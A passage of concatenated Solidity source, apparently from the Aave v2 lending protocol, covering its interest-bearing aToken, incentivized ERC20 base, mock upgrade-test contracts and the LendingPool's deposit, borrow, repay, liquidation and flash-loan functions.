returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Decreases the allowance of spender to spend _msgSender() tokens * @param spender The user allowed to spend on behalf of _msgSender() * @param subtractedValue The amount being subtracted to the allowance * @return `true` **/ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub( subtractedValue, 'ERC20: decreased allowance below zero' ) ); return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), 'ERC20: transfer from the zero address'); require(recipient != address(0), 'ERC20: transfer to the zero address'); _beforeTokenTransfer(sender, recipient, amount); uint256 oldSenderBalance = _balances[sender]; _balances[sender] = oldSenderBalance.sub(amount, 'ERC20: transfer amount exceeds balance'); uint256 oldRecipientBalance = _balances[recipient]; _balances[recipient] = _balances[recipient].add(amount); if (address(_incentivesController) != address(0)) { uint256 currentTotalSupply = _totalSupply; _incentivesController.handleAction(sender, currentTotalSupply, oldSenderBalance); if (sender != recipient) { _incentivesController.handleAction(recipient, currentTotalSupply, oldRecipientBalance); } } } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), 'ERC20: mint to the zero address'); _beforeTokenTransfer(address(0), account, amount); uint256 oldTotalSupply = _totalSupply; _totalSupply = oldTotalSupply.add(amount); uint256 oldAccountBalance = _balances[account]; _balances[account] = oldAccountBalance.add(amount); if (address(_incentivesController) != address(0)) { _incentivesController.handleAction(account, oldTotalSupply, oldAccountBalance); } } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), 'ERC20: burn from the zero address'); _beforeTokenTransfer(account, address(0), amount); uint256 oldTotalSupply = _totalSupply; _totalSupply = oldTotalSupply.sub(amount); uint256 oldAccountBalance = _balances[account]; _balances[account] = oldAccountBalance.sub(amount, 'ERC20: burn amount exceeds balance'); if (address(_incentivesController) != address(0)) { _incentivesController.handleAction(account, oldTotalSupply, oldAccountBalance); } } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), 'ERC20: approve from the zero address'); require(spender != address(0), 'ERC20: approve to the zero address'); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setName(string memory newName) internal { _name = newName; } function _setSymbol(string memory newSymbol) internal { _symbol = newSymbol; } function _setDecimals(uint8 newDecimals) internal { _decimals = newDecimals; } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; interface IAaveIncentivesController { function handleAction( address user, uint256 userBalance, uint256 totalSupply ) external; } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {VariableDebtToken} from '../../protocol/tokenization/VariableDebtToken.sol'; contract MockVariableDebtToken is VariableDebtToken { constructor( address _pool, address _underlyingAssetAddress, string memory _tokenName, string memory _tokenSymbol, address incentivesController ) public VariableDebtToken( _pool, _underlyingAssetAddress, _tokenName, _tokenSymbol, incentivesController ) {} function getRevision() internal pure override returns (uint256) { return 0x2; } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {ILendingPool} from '../../interfaces/ILendingPool.sol'; import {IDelegationToken} from '../../interfaces/IDelegationToken.sol'; import {Errors} from '../libraries/helpers/Errors.sol'; import {AToken} from './AToken.sol'; /** * @title Aave AToken enabled to delegate voting power of the underlying asset to a different address * @dev The underlying asset needs to be compatible with the COMP delegation interface * @author Aave */ contract DelegationAwareAToken is AToken { modifier onlyPoolAdmin { require( _msgSender() == ILendingPool(POOL).getAddressesProvider().getPoolAdmin(), Errors.CALLER_NOT_POOL_ADMIN ); _; } constructor( ILendingPool pool, address underlyingAssetAddress, address reserveTreasury, string memory tokenName, string memory tokenSymbol, address incentivesController ) public AToken( pool, underlyingAssetAddress, reserveTreasury, tokenName, tokenSymbol, incentivesController ) {} /** * @dev Delegates voting power of the underlying asset to a `delegatee` address * @param delegatee The address that will receive the delegation **/ function delegateUnderlyingTo(address delegatee) external onlyPoolAdmin { IDelegationToken(UNDERLYING_ASSET_ADDRESS).delegate(delegatee); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; /** * @title IDelegationToken * @dev Implements an interface for tokens with delegation COMP/UNI compatible * @author Aave **/ interface IDelegationToken { function delegate(address delegatee) external; } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {IERC20} from '../../dependencies/openzeppelin/contracts/IERC20.sol'; import {SafeERC20} from '../../dependencies/openzeppelin/contracts/SafeERC20.sol'; import {ILendingPool} from '../../interfaces/ILendingPool.sol'; import {IAToken} from '../../interfaces/IAToken.sol'; import {WadRayMath} from '../libraries/math/WadRayMath.sol'; import {Errors} from '../libraries/helpers/Errors.sol'; import {VersionedInitializable} from '../libraries/aave-upgradeability/VersionedInitializable.sol'; import {IncentivizedERC20} from './IncentivizedERC20.sol'; /** * @title Aave ERC20 AToken * @dev Implementation of the interest bearing token for the Aave protocol * @author Aave */ contract AToken is VersionedInitializable, IncentivizedERC20, IAToken { using WadRayMath for uint256; using SafeERC20 for IERC20; bytes public constant EIP712_REVISION = bytes('1'); bytes32 internal constant EIP712_DOMAIN = keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'); bytes32 public constant PERMIT_TYPEHASH = keccak256('Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)'); uint256 public constant UINT_MAX_VALUE = uint256(-1); uint256 public constant ATOKEN_REVISION = 0x1; address public immutable UNDERLYING_ASSET_ADDRESS; address public immutable RESERVE_TREASURY_ADDRESS; ILendingPool public immutable POOL; /// @dev owner => next valid nonce to submit with permit() mapping(address => uint256) public _nonces; bytes32 public DOMAIN_SEPARATOR; modifier onlyLendingPool { require(_msgSender() == address(POOL), Errors.CT_CALLER_MUST_BE_LENDING_POOL); _; } constructor( ILendingPool pool, address underlyingAssetAddress, address reserveTreasuryAddress, string memory tokenName, string memory tokenSymbol, address incentivesController ) public IncentivizedERC20(tokenName, tokenSymbol, 18, incentivesController) { POOL = pool; UNDERLYING_ASSET_ADDRESS = underlyingAssetAddress; RESERVE_TREASURY_ADDRESS = reserveTreasuryAddress; } function getRevision() internal pure virtual override returns (uint256) { return ATOKEN_REVISION; } function initialize( uint8 underlyingAssetDecimals, string calldata tokenName, string calldata tokenSymbol ) external virtual initializer { uint256 chainId; //solium-disable-next-line assembly { chainId := chainid() } DOMAIN_SEPARATOR = keccak256( abi.encode( EIP712_DOMAIN, keccak256(bytes(tokenName)), keccak256(EIP712_REVISION), chainId, address(this) ) ); _setName(tokenName); _setSymbol(tokenSymbol); _setDecimals(underlyingAssetDecimals); } /** * @dev Burns aTokens from `user` and sends the equivalent amount of underlying to `receiverOfUnderlying` * - Only callable by the LendingPool, as extra state updates there need to be managed * @param user The owner of the aTokens, getting them burned * @param receiverOfUnderlying The address that will receive the underlying * @param amount The amount being burned * @param index The new liquidity index of the reserve **/ function burn( address user, address receiverOfUnderlying, uint256 amount, uint256 index ) external override onlyLendingPool { uint256 amountScaled = amount.rayDiv(index); require(amountScaled != 0, Errors.CT_INVALID_BURN_AMOUNT); _burn(user, amountScaled); IERC20(UNDERLYING_ASSET_ADDRESS).safeTransfer(receiverOfUnderlying, amount); emit Transfer(user, address(0), amount); emit Burn(user, receiverOfUnderlying, amount, index); } /** * @dev Mints `amount` aTokens to `user` * - Only callable by the LendingPool, as extra state updates there need to be managed * @param user The address receiving the minted tokens * @param amount The amount of tokens getting minted * @param index The new liquidity index of the reserve * @return `true` if the the previous balance of the user was 0 */ function mint( address user, uint256 amount, uint256 index ) external override onlyLendingPool returns (bool) { uint256 previousBalance = super.balanceOf(user); uint256 amountScaled = amount.rayDiv(index); require(amountScaled != 0, Errors.CT_INVALID_MINT_AMOUNT); _mint(user, amountScaled); emit Transfer(address(0), user, amount); emit Mint(user, amount, index); return previousBalance == 0; } /** * @dev Mints aTokens to the reserve treasury * - Only callable by the LendingPool * @param amount The amount of tokens getting minted * @param index The new liquidity index of the reserve */ function mintToTreasury(uint256 amount, uint256 index) external override onlyLendingPool { if (amount == 0) { return; } // Compared to the normal mint, we don't check for rounding errors. // The amount to mint can easily be very small since it is a fraction of the interest ccrued. // In that case, the treasury will experience a (very small) loss, but it // wont cause potentially valid transactions to fail. _mint(RESERVE_TREASURY_ADDRESS, amount.rayDiv(index)); emit Transfer(address(0), RESERVE_TREASURY_ADDRESS, amount); emit Mint(RESERVE_TREASURY_ADDRESS, amount, index); } /** * @dev Transfers aTokens in the event of a borrow being liquidated, in case the liquidators reclaims the aToken * - Only callable by the LendingPool * @param from The address getting liquidated, current owner of the aTokens * @param to The recipient * @param value The amount of tokens getting transferred **/ function transferOnLiquidation( address from, address to, uint256 value ) external override onlyLendingPool { // Being a normal transfer, the Transfer() and BalanceTransfer() are emitted // so no need to emit a specific event here _transfer(from, to, value, false); emit Transfer(from, to, value); } /** * @dev Calculates the balance of the user: principal balance + interest generated by the principal * @param user The user whose balance is calculated * @return The balance of the user **/ function balanceOf(address user) public view override(IncentivizedERC20, IERC20) returns (uint256) { return super.balanceOf(user).rayMul(POOL.getReserveNormalizedIncome(UNDERLYING_ASSET_ADDRESS)); } /** * @dev Returns the scaled balance of the user. The scaled balance is the sum of all the * updated stored balance divided by the reserve's liquidity index at the moment of the update * @param user The user whose balance is calculated * @return The scaled balance of the user **/ function scaledBalanceOf(address user) external view override returns (uint256) { return super.balanceOf(user); } /** * @dev Returns the scaled balance of the user and the scaled total supply. * @param user The address of the user * @return The scaled balance of the user * @return The scaled balance and the scaled total supply **/ function getScaledUserBalanceAndSupply(address user) external view override returns (uint256, uint256) { return (super.balanceOf(user), super.totalSupply()); } /** * @dev calculates the total supply of the specific aToken * since the balance of every single user increases over time, the total supply * does that too. * @return the current total supply **/ function totalSupply() public view override(IncentivizedERC20, IERC20) returns (uint256) { uint256 currentSupplyScaled = super.totalSupply(); if (currentSupplyScaled == 0) { return 0; } return currentSupplyScaled.rayMul(POOL.getReserveNormalizedIncome(UNDERLYING_ASSET_ADDRESS)); } /** * @dev Returns the scaled total supply of the variable debt token. Represents sum(debt/index) * @return the scaled total supply **/ function scaledTotalSupply() public view virtual override returns (uint256) { return super.totalSupply(); } /** * @dev Transfers the underlying asset to `target`. Used by the LendingPool to transfer * assets in borrow(), withdraw() and flashLoan() * @param target The recipient of the aTokens * @param amount The amount getting transferred * @return The amount transferred **/ function transferUnderlyingTo(address target, uint256 amount) external override onlyLendingPool returns (uint256) { IERC20(UNDERLYING_ASSET_ADDRESS).safeTransfer(target, amount); return amount; } /** * @dev implements the permit function as for * https://github.com/ethereum/EIPs/blob/8a34d644aacf0f9f8f00815307fd7dd5da07655f/EIPS/eip-2612.md * @param owner The owner of the funds * @param spender The spender * @param value The amount * @param deadline The deadline timestamp, type(uint256).max for max deadline * @param v Signature param * @param s Signature param * @param r Signature param */ function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external { require(owner != address(0), 'INVALID_OWNER'); //solium-disable-next-line require(block.timestamp <= deadline, 'INVALID_EXPIRATION'); uint256 currentValidNonce = _nonces[owner]; bytes32 digest = keccak256( abi.encodePacked( '\x19\x01', DOMAIN_SEPARATOR, keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, currentValidNonce, deadline)) ) ); require(owner == ecrecover(digest, v, r, s), 'INVALID_SIGNATURE'); _nonces[owner] = currentValidNonce.add(1); _approve(owner, spender, value); } /** * @dev Transfers the aTokens between two users. Validates the transfer * (ie checks for valid HF after the transfer) if required * @param from The source address * @param to The destination address * @param amount The amount getting transferred * @param validate `true` if the transfer needs to be validated **/ function _transfer( address from, address to, uint256 amount, bool validate ) internal { uint256 index = POOL.getReserveNormalizedIncome(UNDERLYING_ASSET_ADDRESS); uint256 fromBalanceBefore = super.balanceOf(from).rayMul(index); uint256 toBalanceBefore = super.balanceOf(to).rayMul(index); super._transfer(from, to, amount.rayDiv(index)); if (validate) { POOL.finalizeTransfer( UNDERLYING_ASSET_ADDRESS, from, to, amount, fromBalanceBefore, toBalanceBefore ); } emit BalanceTransfer(from, to, amount, index); } /** * @dev Overrides the parent _transfer to force validated transfer() and transferFrom() * @param from The source address * @param to The destination address * @param amount The amount getting transferred **/ function _transfer( address from, address to, uint256 amount ) internal override { _transfer(from, to, amount, true); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {AToken} from '../../protocol/tokenization/AToken.sol'; import {LendingPool} from '../../protocol/lendingpool/LendingPool.sol'; contract MockAToken is AToken { constructor( LendingPool pool, address underlyingAssetAddress, address reserveTreasury, string memory tokenName, string memory tokenSymbol, address incentivesController ) public AToken( pool, underlyingAssetAddress, reserveTreasury, tokenName, tokenSymbol, incentivesController ) {} function getRevision() internal pure override returns (uint256) { return 0x2; } function initialize( uint8 _underlyingAssetDecimals, string calldata _tokenName, string calldata _tokenSymbol ) external virtual override initializer { _setName(_tokenName); _setSymbol(_tokenSymbol); _setDecimals(_underlyingAssetDecimals); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import {SafeMath} from '../../dependencies/openzeppelin/contracts/SafeMath.sol'; import {IERC20} from '../../dependencies/openzeppelin/contracts/IERC20.sol'; import {SafeERC20} from '../../dependencies/openzeppelin/contracts/SafeERC20.sol'; import {Address} from '../../dependencies/openzeppelin/contracts/Address.sol'; import {ILendingPoolAddressesProvider} from '../../interfaces/ILendingPoolAddressesProvider.sol'; import {IAToken} from '../../interfaces/IAToken.sol'; import {IVariableDebtToken} from '../../interfaces/IVariableDebtToken.sol'; import {IFlashLoanReceiver} from '../../flashloan/interfaces/IFlashLoanReceiver.sol'; import {IPriceOracleGetter} from '../../interfaces/IPriceOracleGetter.sol'; import {IStableDebtToken} from '../../interfaces/IStableDebtToken.sol'; import {ILendingPool} from '../../interfaces/ILendingPool.sol'; import {VersionedInitializable} from '../libraries/aave-upgradeability/VersionedInitializable.sol'; import {Helpers} from '../libraries/helpers/Helpers.sol'; import {Errors} from '../libraries/helpers/Errors.sol'; import {WadRayMath} from '../libraries/math/WadRayMath.sol'; import {PercentageMath} from '../libraries/math/PercentageMath.sol'; import {ReserveLogic} from '../libraries/logic/ReserveLogic.sol'; import {GenericLogic} from '../libraries/logic/GenericLogic.sol'; import {ValidationLogic} from '../libraries/logic/ValidationLogic.sol'; import {ReserveConfiguration} from '../libraries/configuration/ReserveConfiguration.sol'; import {UserConfiguration} from '../libraries/configuration/UserConfiguration.sol'; import {DataTypes} from '../libraries/types/DataTypes.sol'; import {LendingPoolStorage} from './LendingPoolStorage.sol'; /** * @title LendingPool contract * @dev Main point of interaction with an Aave protocol's market * - Users can: * # Deposit * # Withdraw * # Borrow * # Repay * # Swap their loans between variable and stable rate * # Enable/disable their deposits as collateral rebalance stable rate borrow positions * # Liquidate positions * # Execute Flash Loans * - To be covered by a proxy contract, owned by the LendingPoolAddressesProvider of the specific market * - All admin functions are callable by the LendingPoolConfigurator contract defined also in the * LendingPoolAddressesProvider * @author Aave **/ contract LendingPool is VersionedInitializable, ILendingPool, LendingPoolStorage { using SafeMath for uint256; using WadRayMath for uint256; using PercentageMath for uint256; using SafeERC20 for IERC20; //main configuration parameters uint256 public constant MAX_STABLE_RATE_BORROW_SIZE_PERCENT = 2500; uint256 public constant FLASHLOAN_PREMIUM_TOTAL = 9; uint256 public constant MAX_NUMBER_RESERVES = 128; uint256 public constant LENDINGPOOL_REVISION = 0x2; modifier whenNotPaused() { _whenNotPaused(); _; } modifier onlyLendingPoolConfigurator() { _onlyLendingPoolConfigurator(); _; } function _whenNotPaused() internal view { require(!_paused, Errors.LP_IS_PAUSED); } function _onlyLendingPoolConfigurator() internal view { require( _addressesProvider.getLendingPoolConfigurator() == msg.sender, Errors.LP_CALLER_NOT_LENDING_POOL_CONFIGURATOR ); } function getRevision() internal pure override returns (uint256) { return LENDINGPOOL_REVISION; } /** * @dev Function is invoked by the proxy contract when the LendingPool contract is added to the * LendingPoolAddressesProvider of the market. * - Caching the address of the LendingPoolAddressesProvider in order to reduce gas consumption * on subsequent operations * @param provider The address of the LendingPoolAddressesProvider **/ function initialize(ILendingPoolAddressesProvider provider) public initializer { _addressesProvider = provider; } /** * @dev Deposits an `amount` of underlying asset into the reserve, receiving in return overlying aTokens. * - E.g. User deposits 100 USDC and gets in return 100 aUSDC * @param asset The address of the underlying asset to deposit * @param amount The amount to be deposited * @param onBehalfOf The address that will receive the aTokens, same as msg.sender if the user * wants to receive them on his own wallet, or a different address if the beneficiary of aTokens * is a different wallet * @param referralCode Code used to register the integrator originating the operation, for potential rewards. * 0 if the action is executed directly by the user, without any middle-man **/ function deposit( address asset, uint256 amount, address onBehalfOf, uint16 referralCode ) external override whenNotPaused { DataTypes.ReserveData storage reserve = _reserves[asset]; ValidationLogic.validateDeposit(reserve, amount); address aToken = reserve.aTokenAddress; reserve.updateState(); reserve.updateInterestRates(asset, aToken, amount, 0); IERC20(asset).safeTransferFrom(msg.sender, aToken, amount); bool isFirstDeposit = IAToken(aToken).mint(onBehalfOf, amount, reserve.liquidityIndex); if (isFirstDeposit) { _usersConfig[onBehalfOf].setUsingAsCollateral(reserve.id, true); emit ReserveUsedAsCollateralEnabled(asset, onBehalfOf); } emit Deposit(asset, msg.sender, onBehalfOf, amount, referralCode); } /** * @dev Withdraws an `amount` of underlying asset from the reserve, burning the equivalent aTokens owned * E.g. User has 100 aUSDC, calls withdraw() and receives 100 USDC, burning the 100 aUSDC * @param asset The address of the underlying asset to withdraw * @param amount The underlying amount to be withdrawn * - Send the value type(uint256).max in order to withdraw the whole aToken balance * @param to Address that will receive the underlying, same as msg.sender if the user * wants to receive it on his own wallet, or a different address if the beneficiary is a * different wallet * @return The final amount withdrawn **/ function withdraw( address asset, uint256 amount, address to ) external override whenNotPaused returns (uint256) { DataTypes.ReserveData storage reserve = _reserves[asset]; address aToken = reserve.aTokenAddress; uint256 userBalance = IAToken(aToken).balanceOf(msg.sender); uint256 amountToWithdraw = amount; if (amount == type(uint256).max) { amountToWithdraw = userBalance; } ValidationLogic.validateWithdraw( asset, amountToWithdraw, userBalance, _reserves, _usersConfig[msg.sender], _reservesList, _reservesCount, _addressesProvider.getPriceOracle() ); reserve.updateState(); reserve.updateInterestRates(asset, aToken, 0, amountToWithdraw); if (amountToWithdraw == userBalance) { _usersConfig[msg.sender].setUsingAsCollateral(reserve.id, false); emit ReserveUsedAsCollateralDisabled(asset, msg.sender); } IAToken(aToken).burn(msg.sender, to, amountToWithdraw, reserve.liquidityIndex); emit Withdraw(asset, msg.sender, to, amountToWithdraw); return amountToWithdraw; } /** * @dev Allows users to borrow a specific `amount` of the reserve underlying asset, provided that the borrower * already deposited enough collateral, or he was given enough allowance by a credit delegator on the * corresponding debt token (StableDebtToken or VariableDebtToken) * - E.g. User borrows 100 USDC passing as `onBehalfOf` his own address, receiving the 100 USDC in his wallet * and 100 stable/variable debt tokens, depending on the `interestRateMode` * @param asset The address of the underlying asset to borrow * @param amount The amount to be borrowed * @param interestRateMode The interest rate mode at which the user wants to borrow: 1 for Stable, 2 for Variable * @param referralCode Code used to register the integrator originating the operation, for potential rewards. * 0 if the action is executed directly by the user, without any middle-man * @param onBehalfOf Address of the user who will receive the debt. Should be the address of the borrower itself * calling the function if he wants to borrow against his own collateral, or the address of the credit delegator * if he has been given credit delegation allowance **/ function borrow( address asset, uint256 amount, uint256 interestRateMode, uint16 referralCode, address onBehalfOf ) external override whenNotPaused { DataTypes.ReserveData storage reserve = _reserves[asset]; _executeBorrow( ExecuteBorrowParams( asset, msg.sender, onBehalfOf, amount, interestRateMode, reserve.aTokenAddress, referralCode, true ) ); } /** * @notice Repays a borrowed `amount` on a specific reserve, burning the equivalent debt tokens owned * - E.g. User repays 100 USDC, burning 100 variable/stable debt tokens of the `onBehalfOf` address * @param asset The address of the borrowed underlying asset previously borrowed * @param amount The amount to repay * - Send the value type(uint256).max in order to repay the whole debt for `asset` on the specific `debtMode` * @param rateMode The interest rate mode at of the debt the user wants to repay: 1 for Stable, 2 for Variable * @param onBehalfOf Address of the user who will get his debt reduced/removed. Should be the address of the * user calling the function if he wants to reduce/remove his own debt, or the address of any other * other borrower whose debt should be removed * @return The final amount repaid **/ function repay( address asset, uint256 amount, uint256 rateMode, address onBehalfOf ) external override whenNotPaused returns (uint256) { DataTypes.ReserveData storage reserve = _reserves[asset]; (uint256 stableDebt, uint256 variableDebt) = Helpers.getUserCurrentDebt(onBehalfOf, reserve); DataTypes.InterestRateMode interestRateMode = DataTypes.InterestRateMode(rateMode); ValidationLogic.validateRepay( reserve, amount, interestRateMode, onBehalfOf, stableDebt, variableDebt ); uint256 paybackAmount = interestRateMode == DataTypes.InterestRateMode.STABLE ? stableDebt : variableDebt; if (amount < paybackAmount) { paybackAmount = amount; } reserve.updateState(); if (interestRateMode == DataTypes.InterestRateMode.STABLE) { IStableDebtToken(reserve.stableDebtTokenAddress).burn(onBehalfOf, paybackAmount); } else { IVariableDebtToken(reserve.variableDebtTokenAddress).burn( onBehalfOf, paybackAmount, reserve.variableBorrowIndex ); } address aToken = reserve.aTokenAddress; reserve.updateInterestRates(asset, aToken, paybackAmount, 0); if (stableDebt.add(variableDebt).sub(paybackAmount) == 0) { _usersConfig[onBehalfOf].setBorrowing(reserve.id, false); } IERC20(asset).safeTransferFrom(msg.sender, aToken, paybackAmount); emit Repay(asset, onBehalfOf, msg.sender, paybackAmount); return paybackAmount; } /** * @dev Allows a borrower to swap his debt between stable and variable mode, or viceversa * @param asset The address of the underlying asset borrowed * @param rateMode The rate mode that the user wants to swap to **/ function swapBorrowRateMode(address asset, uint256 rateMode) external override whenNotPaused { DataTypes.ReserveData storage reserve = _reserves[asset]; (uint256 stableDebt, uint256 variableDebt) = Helpers.getUserCurrentDebt(msg.sender, reserve); DataTypes.InterestRateMode interestRateMode = DataTypes.InterestRateMode(rateMode); ValidationLogic.validateSwapRateMode( reserve, _usersConfig[msg.sender], stableDebt, variableDebt, interestRateMode ); reserve.updateState(); if (interestRateMode == DataTypes.InterestRateMode.STABLE) { IStableDebtToken(reserve.stableDebtTokenAddress).burn(msg.sender, stableDebt); IVariableDebtToken(reserve.variableDebtTokenAddress).mint( msg.sender, msg.sender, stableDebt, reserve.variableBorrowIndex ); } else { IVariableDebtToken(reserve.variableDebtTokenAddress).burn( msg.sender, variableDebt, reserve.variableBorrowIndex ); IStableDebtToken(reserve.stableDebtTokenAddress).mint( msg.sender, msg.sender, variableDebt, reserve.currentStableBorrowRate ); } reserve.updateInterestRates(asset, reserve.aTokenAddress, 0, 0); emit Swap(asset, msg.sender, rateMode); } /** * @dev Rebalances the stable interest rate of a user to the current stable rate defined on the reserve. * - Users can be rebalanced if the following conditions are satisfied: * 1. Usage ratio is above 95% * 2. the current deposit APY is below REBALANCE_UP_THRESHOLD * maxVariableBorrowRate, which means that too much has been * borrowed at a stable rate and depositors are not earning enough * @param asset The address of the underlying asset borrowed * @param user The address of the user to be rebalanced **/ function rebalanceStableBorrowRate(address asset, address user) external override whenNotPaused { DataTypes.ReserveData storage reserve = _reserves[asset]; IERC20 stableDebtToken = IERC20(reserve.stableDebtTokenAddress); IERC20 variableDebtToken = IERC20(reserve.variableDebtTokenAddress); address aTokenAddress = reserve.aTokenAddress; uint256 stableDebt = IERC20(stableDebtToken).balanceOf(user); ValidationLogic.validateRebalanceStableBorrowRate( reserve, asset, stableDebtToken, variableDebtToken, aTokenAddress ); reserve.updateState(); IStableDebtToken(address(stableDebtToken)).burn(user, stableDebt); IStableDebtToken(address(stableDebtToken)).mint( user, user, stableDebt, reserve.currentStableBorrowRate ); reserve.updateInterestRates(asset, aTokenAddress, 0, 0); emit RebalanceStableBorrowRate(asset, user); } /** * @dev Allows depositors to enable/disable a specific deposited asset as collateral * @param asset The address of the underlying asset deposited * @param useAsCollateral `true` if the user wants to use the deposit as collateral, `false` otherwise **/ function setUserUseReserveAsCollateral(address asset, bool useAsCollateral) external override whenNotPaused { DataTypes.ReserveData storage reserve = _reserves[asset]; ValidationLogic.validateSetUseReserveAsCollateral( reserve, asset, useAsCollateral, _reserves, _usersConfig[msg.sender], _reservesList, _reservesCount, _addressesProvider.getPriceOracle() ); _usersConfig[msg.sender].setUsingAsCollateral(reserve.id, useAsCollateral); if (useAsCollateral) { emit ReserveUsedAsCollateralEnabled(asset, msg.sender); } else { emit ReserveUsedAsCollateralDisabled(asset, msg.sender); } } /** * @dev Function to liquidate a non-healthy position collateral-wise, with Health Factor below 1 * - The caller (liquidator) covers `debtToCover` amount of debt of the user getting liquidated, and receives * a proportionally amount of the `collateralAsset` plus a bonus to cover market risk * @param collateralAsset The address of the underlying asset used as collateral, to receive as result of the liquidation * @param debtAsset The address of the underlying borrowed asset to be repaid with the liquidation * @param user The address of the borrower getting liquidated * @param debtToCover The debt amount of borrowed `asset` the liquidator wants to cover * @param receiveAToken `true` if the liquidators wants to receive the collateral aTokens, `false` if he wants * to receive the underlying collateral asset directly **/ function liquidationCall( address collateralAsset, address debtAsset, address user, uint256 debtToCover, bool receiveAToken ) external override whenNotPaused { address collateralManager = _addressesProvider.getLendingPoolCollateralManager(); //solium-disable-next-line (bool success, bytes memory result) = collateralManager.delegatecall( abi.encodeWithSignature( 'liquidationCall(address,address,address,uint256,bool)', collateralAsset, debtAsset, user, debtToCover, receiveAToken ) ); require(success, Errors.LP_LIQUIDATION_CALL_FAILED); (uint256 returnCode, string memory returnMessage) = abi.decode(result, (uint256, string)); require(returnCode == 0, string(abi.encodePacked(returnMessage))); } struct FlashLoanLocalVars { IFlashLoanReceiver receiver; address oracle; uint256 i; address currentAsset; address currentATokenAddress; uint256 currentAmount; uint256 currentPremium; uint256 currentAmountPlusPremium; address debtToken; } /** * @dev Allows smartcontracts to access the liquidity of the pool within one transaction, * as long as the amount taken plus a fee is returned. * IMPORTANT There are security concerns for developers of flashloan receiver contracts that must be kept into consideration. * For further details please visit https://developers.aave.com * @param receiverAddress The address of the contract receiving the funds, implementing the IFlashLoanReceiver interface * @param assets The addresses of the assets being flash-borrowed * @param amounts The amounts amounts being flash-borrowed * @param modes Types of the debt to open if the flash loan is not returned: * 0 -> Don't open any debt, just revert if funds can't be transferred from the receiver * 1 -> Open debt at stable rate for the value of the amount flash-borrowed to the `onBehalfOf` address * 2 -> Open debt at variable rate for the value of the amount flash-borrowed to the `onBehalfOf` address * @param onBehalfOf The address that will receive the debt in the case of using on `modes` 1 or 2 * @param params Variadic packed params to pass to the receiver as extra information * @param referralCode Code used to register the integrator originating the operation, for potential rewards. * 0 if the action is executed directly by the user, without any middle-man **/ function flashLoan( address receiverAddress, address[] calldata assets, uint256[] calldata amounts, uint256[] calldata modes, address onBehalfOf, bytes calldata params, uint16 referralCode ) external override whenNotPaused { FlashLoanLocalVars memory vars; ValidationLogic.validateFlashloan(assets, amounts); address[] memory aTokenAddresses = new address[](assets.length); uint256[] memory premiums = new uint256[](assets.length); vars.receiver = IFlashLoanReceiver(receiverAddress); for (vars.i = 0; vars.i < assets.length; vars.i++) { aTokenAddresses[vars.i] = _reserves[assets[vars.i]].aTokenAddress; premiums[vars.i] = amounts[vars.i].mul(FLASHLOAN_PREMIUM_TOTAL).div(10000); IAToken(aTokenAddresses[vars.i]).transferUnderlyingTo(receiverAddress, amounts[vars.i]); } require( vars.receiver.executeOperation(assets, amounts, premiums, msg.sender, params), Errors.LP_INVALID_FLASH_LOAN_EXECUTOR_RETURN ); for (vars.i = 0; vars.i < assets.length; vars.i++) { vars.currentAsset = assets[vars.i]; vars.currentAmount = amounts[vars.i]; vars.currentPremium = premiums[vars.i]; vars.currentATokenAddress = aTokenAddresses[vars.i]; vars.currentAmountPlusPremium = vars.currentAmount.add(vars.currentPremium); if (DataTypes.InterestRateMode(modes[vars.i]) == DataTypes.InterestRateMode.NONE) { _reserves[vars.currentAsset].updateState(); _reserves[vars.currentAsset].cumulateToLiquidityIndex( IERC20(vars.currentATokenAddress).totalSupply(), vars.currentPremium ); _reserves[vars.currentAsset].updateInterestRates( vars.currentAsset, vars.currentATokenAddress, vars.currentAmountPlusPremium, 0 ); IERC20(vars.currentAsset).safeTransferFrom( receiverAddress, vars.currentATokenAddress, vars.currentAmountPlusPremium ); } else { // If the user chose to not return the funds, the system checks if there is enough collateral and // eventually opens a debt position _executeBorrow( ExecuteBorrowParams( vars.currentAsset, msg.sender, onBehalfOf, vars.currentAmount, modes[vars.i], vars.currentATokenAddress, referralCode, false ) ); } emit FlashLoan( receiverAddress, msg.sender, vars.currentAsset, vars.currentAmount, vars.currentPremium, referralCode ); } } /** * @dev Returns the state and configuration of the reserve * @param asset The address of the underlying asset of the reserve * @return The state of the reserve **/ function getReserveData(address asset) external view override returns (DataTypes.ReserveData memory) { return _reserves[asset]; } /** * @dev Returns the user account data across all the reserves * @param user The address of the user * @return totalCollateralETH the total collateral in ETH of the user * @return totalDebtETH the total debt in ETH of the user * @return availableBorrowsETH the borrowing power left of the user * @return currentLiquidationThreshold the liquidation threshold of the user * @return ltv the loan to value of the user * @return healthFactor the current health factor of the user **/ function getUserAccountData(address user) external view override returns ( uint256 totalCollateralETH, uint256 totalDebtETH, uint256 availableBorrowsETH, uint256 currentLiquidationThreshold, uint256 ltv, uint256 healthFactor ) { ( totalCollateralETH, totalDebtETH, ltv, currentLiquidationThreshold, healthFactor ) = GenericLogic.calculateUserAccountData( user, _reserves, _usersConfig[user], _reservesList, _reservesCount, _addressesProvider.getPriceOracle() ); availableBorrowsETH = GenericLogic.calculateAvailableBorrowsETH( totalCollateralETH, totalDebtETH, ltv ); } /** * @dev Returns the configuration of the reserve * @param asset The address of the underlying asset of the reserve * @return The configuration of the reserve **/ function getConfiguration(address asset) external view override returns 